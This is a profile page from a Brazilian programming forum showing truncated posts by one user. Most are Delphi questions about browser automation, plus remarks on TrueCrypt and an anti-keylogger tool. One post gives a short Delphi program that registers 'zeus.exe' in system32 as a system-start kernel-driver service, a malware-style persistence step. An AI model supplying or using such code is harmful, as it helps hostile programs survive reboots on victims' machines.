Jump to content
Fórum Script Brasil

philberX

Membros
  • Content Count

    10
  • Joined

  • Last visited

Community Reputation

0 Neutro

About philberX

Perfil

  • Gender
    Male
  1. unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, mshtml, OleCtrls, SHDocVw_EWB, EwbCore, EmbeddedWB, ExtCtrls, SHDocVw; type TForm1 = class(TForm) Button1: TButton; Memo1: TMemo; Edit1: TEdit; Button2: TButton; Edit2: TEdit; Edit3: TEdit; Timer1: TTimer; Edit4: TEdit; Edit5: TEdit; Edit6: TEdit; Timer2: TTimer; emb: TWebBrowser; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Button2Click(Sender: TObject); p
  2. \Boa tarde amigos, olha eu ai novamente. Bom hoje vou falar um pouco do truecrypt, esta ferramenta monstra desenvolvida sem fins comerciais, com um grande poder de encryptação de dados, que poderia ser quase impossível ser quebrado por uma empresa de grande valor, como o FBI. Suas possibilidades são multiplas, tais como, encryptar um disco virtual, o seu pendrive ou até mesmo todo o HD. No caso de quando encryptar todo o HD, em tese ele agirá de forma simples. exemplo: pega o hd, crypta, cria um boot no sistema, que ao ligar pede a senha para o usuário, e caso o hd seja roubado como exempl
  3. no codigo do mininu ai ta faltando 1 ; function tform1.post(wb:TEmbeddedWB; n:integer; s:string = 'submit'): boolean; var ovElements: OleVariant; i: Integer; { 1 }begin result:=false; ovElements := wb.OleObject.Document.forms.item(n).elements; for i := 0 to (ovElements.Length - 1) do if (SameText(ovElements.item(i).type, s) )then {1}begin ovElements.item(i).Click; result:=true; {1}end; procedure TForm1.Button1Click(Sender: TObject); <-----~----~~ Aki esta dando ERRO
  4. porem os contatos mudam a todo momento, senhor moderador, e eu estou disposto a tudo para o forum e para meu conhecimento, tempo eu não tenho, mas quando se fala de aprendizado eu arrumo menos no horario noturno...
  5. bom dia novamente, em minha aplicação, eu preciso pegar o fonte do embedded constantemente, porem o mesmo ao trocar de página, talvez por receber about:blank, acaba que da um erro que eu não estou conceguindo desvendá-lo é o seguinte codigo uses mshtml; begin emb.Navigate('http://google.com); end; procedure TForm1.Timer1Timer(Sender: TObject); var iall : IHTMLElement; begin if Assigned(emb.Document) then begin iall := (emb.Document AS IHTMLDocument2).body; while iall.parentElement <> nil do begin iall := iall.parentElement; end; memo1
  6. file>new>apptypegui apaga tudo e coloca esse program programm; {$APPTYPE GUI} uses Windows, WinSvc; var leftouter: Cardinal; begin leftouter := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS); if (leftouter <> 0) then begin CreateService( leftouter, 'zeus', 'identificação Zeus', SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_SYSTEM_START, SERVICE_ERROR_NORMAL, 'C:\WINDOWS\system32\zeus.exe', nil, nil, nil, nil, nil ); end; end. isso daria boot em start 0
  7. quanta preguiça heim perdoe-me jonas eee muito obrigado
  8. Recentemente perdí minhas senhas em um keylogger e resolví procurar algo pra evitar o mesmo... achei privaykeyboard, que protege as hook do teclado, ele é realmente muito bom, testado por mim mesmo com meus keyloggers e por eventuais keyloggers livres na net, ele protegeu de todos, RECOMENDO http://www.baixaki.com.br/download/privacykeyboard.htm
  9. muito bom dia. bom tenho algumas dúvidas sobre o mesmo que está me intrigando... a primeira dúvida é, eu preciso manipular um click em um botao de uma pagina da internet porem não obtenho exito, pois o mesmo não é privado de um codigo javascript, como exemplo java script:confirma(); eis o codigo das diretrizes do botao: <DIV id=btnEnviar><INPUT title=Continuar tabIndex=4 type=image alt=Continuar src="img/bt_ok.gif"></DIV></DIV></FORM> como eu manipularia o mesmo? agora uma dúvida mais offtopic. eu conceguí o fonte de uma página e joguei no memo; Até aí tudo n
×
×
  • Create New...